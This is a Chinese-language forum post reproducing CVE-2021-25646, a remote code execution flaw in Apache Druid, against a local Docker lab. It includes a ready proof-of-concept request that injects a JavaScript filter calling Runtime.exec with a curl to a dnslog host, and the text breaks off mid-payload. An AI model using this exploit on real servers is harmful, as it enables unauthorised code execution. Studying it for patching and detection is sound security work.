taibeihacker
Moderator
Apache Druid RCE 复现
1 漏洞介绍
1.1 Druid
Druid 是一個JDBC 組件,支持所有JDBC 兼容的數據庫,包括Oracle、MySql、Derby、Postgresql、SQL Server、H2 等。1.2 漏洞描述
编号:CVE-2021-25646Apache Druid 包括執行用戶提供的JavaScript 的功能嵌入在各種類型請求中的代碼。此功能在用於高信任度環境中,默認已被禁用。但是,在Druid 0.20.0 及更低版本中,經過身份驗證的用戶可以構造傳入的json 串來控制一些敏感的參數發送惡意請求,利用Apache Druid 漏洞可以執行任意代碼。1.3 影响版本
Apache Druid 0.20.12 漏洞复现
2.1 环境搭建
從docker 倉庫中拉取一個版本為0.16.0 的鏡像:1
2
docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

2.2 复现
docker 容器啟動後,訪問8888端口:
點擊Load data - Local Disk:

填入
Base directory:quickstart/tutorial/
File filter:wikiticker-2015-09-12-sampled.json.gz
一直點擊next 到filter 項

抓包修改filter 為:
1
2
3
4
5
6
7
8
{
'type':'javascript',
'function':'function(value){return java.lang.Runtime.getRuntime().exec('curl dnslog')}',
'dimension':'added',
'':{
'enabled':'true'
}
}



也可以直接使用POC:
1
2
3
4
5
6
7
8
9
10
11
POST /druid/indexer/v1/sampler HTTP/1.1
Host: xxx.xxx.xxx.xxx:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 995
Connection: close
{'type': 'index', 'spec': {'ioConfig': {'type': 'index', 'inputSource': {'type': 'inline', 'data': '{\'isRobot\':true,\'channel\':\'#x\',\'timestamp\':\'2021-2-1T14:12:24.050Z\',\'flags\':\'x\',\'isUnpatrolled\':false,\'page\':\'1\',\'diffUrl\':\'https://xxx.com\',\'added\':1,\'comment\':\'Botskapande Indonesien omdirigering\',\'commentLength\':35,\'isNew\':true,\'isMinor\':false,\'delta\':31,\'isAnonymous\':true,\'user\':\'Lsjbot\',\'deltaBucket\':0,\'deleted\':0,\'namespace\':\'Main\'}'}, 'inputFormat': {'type': 'json', 'keepNullColumns': true}}, 'dataSchema': {'dataSource': 'sample', 'timestampSpec': {'column': 'timestamp', 'format': 'iso'}, 'dimensionsSpec': {}, 'transformSpec': {'transforms': [], 'filter': {'type': 'javascript', 'dimension': 'added', 'function': 'function(value) {java.lang.Runtime.getRuntime().exec('curl